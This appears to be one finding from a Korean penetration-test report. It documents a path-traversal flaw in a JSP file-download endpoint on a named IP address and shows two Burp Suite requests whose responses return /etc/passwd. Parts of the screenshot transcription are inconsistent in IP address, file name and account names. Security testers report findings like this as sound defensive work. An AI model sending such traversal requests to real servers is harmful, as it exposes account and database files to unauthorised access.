

Vulnerability Discovery_17

Target

: <http://124.60.4.10:9998/fileDownlad.jsp>, <http://124.60.4.10:6663/fileDownlad.jsp>

Payload

: 버프 스위트를 사용하여 리피터를 통해 파일 경로를 ../../../../etc/passwd로 수정하여

Request

Impact

: 서버 내 파일을 강제 다운로드 하여 계정 정보 및 DB 정보를 담은 민감한 파일 다운로드 가능

The screenshot displays the Burp Suite interface with the 'Repeater' tab selected. It shows a HTTP request and its corresponding response.

Request:

```
1 GET /fileDownlad.jsp?file_name=../../../../etc/passwd HTTP/1.1
2 Host: 124.60.4.10:9998
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5559.159 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Referer: http://124.60.4.10:9998/view.jsp?bbsID=5
7 Accept-Encoding: gzip, deflate
8 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
9 Cookie: PHPSESSID=tpkoeadkfsej5htra7itcuik3; JSESSIONID=5BAE132051F239905887E8765C20A835
10 Connection: close
11
12
```

Response:

```
1 HTTP/1.1 200
2 Content-Disposition: attachment; filename=../../../../etc/passwd
3 Content-Type: application/octet-stream; charset=UTF-8
4 Date: Sat, 28 Jan 2023 09:39:00 GMT
5 Connection: close
6 Content-Length: 1293
7
8 root:x:0:0:root:/root:/bin/bash
9 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
10 bin:x:2:2:bin:/usr/sbin:/usr/sbin/nologin
11 sys:x:3:3:sys:/dev:/usr/sbin/nologin
12 sync:x:4:65534:sync:/bin:/bin/sync
13 games:x:5:60:games:/usr/games:/usr/sbin/nologin
14 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
15 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
16 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
17 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
18 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
19 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
20 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
21 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
22 list:x:38:38:mailing list:/var/lib/mail:/usr/sbin/nologin
23 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
24 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
25 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
26 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
27 systemd-network:x:101:102:systemd Network Management...:/run/systemd/netif:/usr/sbin/nologin
28 systemd-resolve:x:102:103:systemd Resolver...:/run/systemd/resolve:/usr/sbin/nologin
29 messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
30 sshd:x:104:65534:/run/ssh:/usr/sbin/nologin
31 torcat:x:999:999:/opt/torcat:/bin/false
32 mysql:x:1000:1000:/home/mysql:/bin/sh
33
```

The interface also shows an 'Inspector' panel on the right with tabs for Request Attributes, Request Query Parameters, Request Body Parameters, Request Cookies, Request Headers, and Response Headers. The status bar at the bottom indicates 'Done' and '1,503 bytes | 14,678 millis'.

1 x 2 x 3 x 4 x 5 x +

Send Cancel < >

Update is ready to issue Restart Burp Later More info

Request

Priority Raw Hex

1 GET /fileDownload.jsp?fileName=../../../../../../../../etc/passwd HTTP/1.1

2 Host: 104.60.4.10:6663

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

6 Referer: http://104.60.4.10:6663/view.jsp?bsid=4

7 Accept-Encoding: gzip, deflate

8 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

9 Cookie: PHPSESSID=7pkoadk1fseJh7ra71icukd; JSESSIONID=420C6521F6R275B7E5198EC11E98431D

0 Connection: close

1

2

Response

Priority Raw Hex Render

1 HTTP/1.1 200

2 Content-Disposition: attachment;filename=../../../../../../../../etc/passwd

3 Content-Type: application/octet-stream;charset=UTF-8

4 Date: Sat, 28 Jan 2023 08:40:54 GMT

5 Connection: close

6 Content-Length: 1289

7

8 root:x:0:0:root:/root:/bin/bash

9 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

10 bin:x:2:2:bin:/bin:/usr/sbin/nologin

11 sys:x:3:3:sys:/dev:/usr/sbin/nologin

12 sync:x:4:65534:sync:/bin:/bin/sync

13 games:x:5:60:games:/usr/games:/usr/sbin/nologin

14 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

15 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

16 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

17 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

18 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

19 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

20 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

21 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

22 list:x:38:38:List Manager:/var/list:/usr/sbin/nologin

23 ircd:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

24 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

25 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

26 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin

27 systemd-network:x:101:102:systemd Network Management,:::/run/systemd/netif:/usr/sbin/nologin

28 systemd-resolve:x:102:103:systemd Resolver,:::/run/systemd/resolve:/usr/sbin/nologin

29 messagebus:x:103:104::/nonexistent:/usr/sbin/nologin

30 sshd:x:104:65534::/run/ssh:/usr/sbin/nologin

31 tomcat:x:999:999::/opt/tomcat:/bin/false

32 mysql:x:1000:1000::/home/mysql:/bin/sh

33

Inspector

Request Attributes 2

Request Query Parameters 1

Request Body Parameters 0

Request Cookies 2

Request Headers 9

Response Headers 5

0 matches

0 matches

None 1,503 bytes | 11,816 millis

Vulnerability Discovery_17

2